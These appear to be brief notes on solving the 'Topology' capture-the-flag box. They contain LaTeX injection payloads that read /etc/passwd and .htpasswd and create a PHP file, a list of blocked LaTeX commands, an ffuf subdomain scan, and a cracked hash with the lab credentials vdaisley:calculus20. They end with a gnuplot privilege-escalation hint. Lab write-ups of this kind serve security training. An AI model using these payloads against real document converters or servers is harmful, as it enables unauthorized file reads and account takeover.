Topology

LaTeX

Webserver on port 80 gives a latex to png converter

\newread\file \openin\file=/etc/passwd \read\file to\x\text{\x}

→ allows for single line reads

\newwrite\file \openout\file=cow.php \write\file{woof} \closeout\file

-> allows creation of a file

\$\lstinputlisting{/etc/passwd}\$

-> gives entire file listing. \$\$ needed to avoid error

Illegal commands:

\input

\include

\write

\immediate

\write18

using ffuf, we can enumerate subdomains.

ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -H "Host:

FUZZ.topology.htb" -u http://topology.htb -fs 6767

-> we find dev.topology.htb, which asks for http authentication

using \$\lstinputlisting{/var/www/dev/.htpasswd}\$ as the payload Hash given:

\$apr1\$1ONUB/S2\$58eeNVirnRDB5zAIbIxTY0

vdaisley

using hashcat, we can crack the hash for creds: vdaisley:calculus20

with this, we can access dev.topology.htb, which doesnt have anything interesting

However, due to password reuse, we can ssh into the box!

using pspy, we see root executing all /opt/gnuplot/*.plt files with gnuplot with some research, we can get root to run commands for us

creds

vdaisley:calculus20